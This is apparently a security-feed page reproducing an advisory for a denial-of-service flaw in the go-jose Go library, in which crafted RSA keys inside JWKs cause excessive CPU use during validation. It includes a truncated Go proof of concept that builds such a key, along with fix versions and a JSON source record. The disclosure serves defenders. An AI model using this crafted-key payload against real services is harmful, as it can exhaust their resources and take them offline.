Skip to content
Heist/ feed
Back to feed
HighFix available

Go JOSE: DoS when parsing JWKs that contain RSA keys

Type: advisorySources: OSV

### Summary A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU. ### Details go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU. https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700 ### Proof of concept No special configuration of go-jose is required to reproduce this vulnerability. ```go package main import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time" "github.com/go-jose/go-jose/v4" ) func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3) jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), } protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(protected) jws := map[string]string{ "protected": base64.RawU

Products
github.com/go-jose/go-jose/v3, github.com/go-jose/go-jose/v4
Affected versions
Not specified
Fixed versions
4.1.6
CVEs
CVE-2026-116587
Confirmed fixed CVEs
Not specified
Updated in this feed
2 Nov 2026, 13:56 UTC · Revision 1

Source evidence

Go JOSE: DoS when parsing JWKs that contain RSA keys

core-osv · Original source

Published 27 Oct 2026, 19:01 UTC

### Summary A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU. ### Details go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU. https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700 ### Proof of concept No special configuration of go-jose is required to reproduce this vulnerability. ```go package main import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time" "github.com/go-jose/go-jose/v4" ) func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3) jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), } protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(protected) jws := map[string]string{ "protected": base64.RawU

osv:GHSA-mgcc-cww5-fp2q

github.com/go-jose/go-jose/v4

Fixed versions: 4.1.6

github.com/go-jose/go-jose/v3

Fixed versions: Not specified

Complete source record
{
  "id": "a7fe1da9b877cd454b7e7dc6ba69d6f5c3421e29072eff0a2b9fa281b0582d84",
  "url": "https://osv.dev/vulnerability/GHSA-mgcc-cww5-fp2q",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "Go JOSE: DoS when parsing JWKs that contain RSA keys",
    "summary": "### Summary A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU. ### Details go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU. https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700 ### Proof of concept No special configuration of go-jose is required to reproduce this vulnerability. ```go package main import ( \"encoding/base64\" \"encoding/json\" \"fmt\" \"math/big\" \"time\" \"github.com/go-jose/go-jose/v4\" ) func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3) jwk := map[string]string{ \"kty\": \"RSA\", \"n\": base64.RawURLEncoding.EncodeToString(n.Bytes()), \"e\": base64.RawURLEncoding.EncodeToString(e.Bytes()), \"d\": base64.RawURLEncoding.EncodeToString(d.Bytes()), \"p\": base64.RawURLEncoding.EncodeToString(p.Bytes()), \"q\": base64.RawURLEncoding.EncodeToString(q.Bytes()), } protected := map[string]any{ \"alg\": \"RS256\", \"jwk\": jwk, } protJSON, _ := json.Marshal(protected) jws := map[string]string{ \"protected\": base64.RawU",
    "evidence": "osv:GHSA-mgcc-cww5-fp2q",
    "products": [
      {
        "name": {
          "value": "github.com/go-jose/go-jose/v4",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "4.1.6",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": []
      },
      {
        "name": {
          "value": "github.com/go-jose/go-jose/v3",
          "evidence": "/affected/1/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [],
        "affected_versions": []
      }
    ],
    "severity": "high",
    "structured": {
      "id": "GHSA-mgcc-cww5-fp2q",
      "aliases": [
        "CVE-2026-116587",
        "GHSA-mgcc-cww5-fp2q"
      ],
      "metrics": [
        {
          "type": "CVSS_V3",
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "4.1.6"
                }
              ]
            }
          ],
          "package": {
            "name": "github.com/go-jose/go-jose/v4",
            "purl": "pkg:golang/github.com/go-jose/go-jose/v4",
            "ecosystem": "Go"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mgcc-cww5-fp2q/GHSA-mgcc-cww5-fp2q.json",
            "last_known_affected_version_range": "<= 4.1.5"
          }
        },
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "last_affected": "3.0.5"
                }
              ]
            }
          ],
          "package": {
            "name": "github.com/go-jose/go-jose/v3",
            "purl": "pkg:golang/github.com/go-jose/go-jose/v3",
            "ecosystem": "Go"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mgcc-cww5-fp2q/GHSA-mgcc-cww5-fp2q.json"
          }
        }
      ],
      "modified": "2026-10-27T19:15:23.147827328Z",
      "provider": "osv",
      "references": [
        "https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q",
        "https://nvd.nist.gov/vuln/detail/CVE-2026-116587",
        "https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230",
        "https://github.com/go-jose/go-jose",
        "https://github.com/go-jose/go-jose/releases/tag/v4.1.6"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-407",
          "CWE-770"
        ],
        "severity": "HIGH",
        "github_reviewed": true,
        "nvd_published_at": "2026-10-26T22:16:55Z",
        "github_reviewed_at": "2026-10-27T19:01:30Z"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-116587",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/database_specific/severity"
  },
  "source_id": "core-osv",
  "document_id": 484994,
  "published_at": "2026-10-27T19:01:30+00:00"
}